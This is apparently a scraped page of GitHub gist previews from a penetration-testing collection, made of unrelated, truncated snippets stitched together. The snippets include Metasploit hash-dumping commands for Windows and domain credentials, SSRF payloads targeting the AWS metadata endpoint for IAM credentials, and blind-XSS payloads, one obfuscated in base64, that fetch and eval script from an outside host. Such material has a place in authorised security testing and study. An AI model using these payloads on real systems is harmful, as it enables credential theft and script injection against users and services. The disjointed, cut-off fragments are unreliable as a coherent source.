| setg SESSION 1 | |
| use post/windows/gather/smart_hashdump | |
| run | |
| use post/windows/gather/credentials/domain_hashdump | |
| run | |
| use post/windows/gather/credentials/mcafee_vse_hashdump | |
| run | |
| use post/windows/gather/credentials/mssql_local_hashdump | |
| run | |
| use post/windows/gather/hashdump |
Penetrating Testing/Assessment Workflow & other fun infosec stuff
https://github.com/jivoi/pentest
My feeble attempt to organize (in a somewhat logical fashion) the vast amount of information, tools, resources, tip and tricks surrounding penetration testing, vulnerability assessment, and information security as a whole*
| #!/bin/bash | |
| # Update OS | |
| apt-get update | |
| apt-get upgrade -y | |
| apt-get dist-upgrade -y | |
| # Pip | |
| wget https://bootstrap.pypa.io/get-pip.py | |
| python get-pip.py | |
| rm get-pip.py |
Penetrating Testing/Assessment Workflow & other fun infosec stuff
https://github.com/jivoi/pentest
My feeble attempt to organize (in a somewhat logical fashion) the vast amount of information, tools, resources, tip and tricks surrounding penetration testing, vulnerability assessment, and information security as a whole*
| javascript:(function()%7Bvar j %3D document.getElementsByTagName("input")%3Bif (document.location.href.indexOf("%3F")>-1)%7Bvar l %3D "%26"%3B%7Delse%7Bvar l %3D "%3F"%3B%7Dfor (i%3D0%3Bi<j.length%3Bi%2B%2B)%7Bl%2B%3Dj%5Bi%5D.getAttribute("name")%2B'%3D"><test1234>%26'%7Ddocument.location %3D document.location%2Bl%7D)() |
| ## IPv6 Tests | |
| http://[::ffff:169.254.169.254] | |
| http://[0:0:0:0:0:ffff:169.254.169.254] | |
| ## AWS | |
| # Amazon Web Services (No Header Required) | |
| # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories | |
| http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy | |
| http://169.254.169.254/latest/user-data | |
| http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] |
| 0\">{{7*'7}}${8*8}</div></noscript></title><script/src=https://js.rip/c0></script> | |
| "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwL2MwIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))> | |
| <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "https://js.rip/c0");a.send();</script> |
| #!/bin/bash | |
| #adb root | |
| adb shell "su -c iptables -t nat -F" |
| api-explorer |
| function Get-PowerView { | |
| [CmdletBinding()] | |
| [OutputType([string[]])] | |
| Param ( | |
| [Parameter(Mandatory=$false, | |
| ValueFromPipeline=$true, | |
| ValueFromPipelineByPropertyName=$true, | |
| Position=0)] | |
| [string]$ComputerName = "localhost", |
